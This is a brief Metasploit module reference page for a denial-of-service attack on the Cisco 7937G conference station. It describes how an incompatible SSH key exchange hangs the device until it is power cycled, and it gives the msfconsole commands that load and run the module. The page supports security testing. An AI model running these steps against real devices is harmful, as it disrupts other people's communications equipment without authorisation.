Cisco 7937G Denial-of-Service Attack



This module exploits a bug in how the conference station handles incoming SSH connections that provide an incompatible key exchange. By connecting with an incompatible key exchange, the device becomes nonresponsive until it is manually power cycled.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/dos/cisco/cisco_7937g_dos
msf auxiliary(cisco_7937g_dos) > show actions
msf auxiliary(cisco_7937g_dos) > set ACTION < action-name >
msf auxiliary(cisco_7937g_dos) > show options
    ...show and set options...
msf auxiliary(cisco_7937g_dos) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
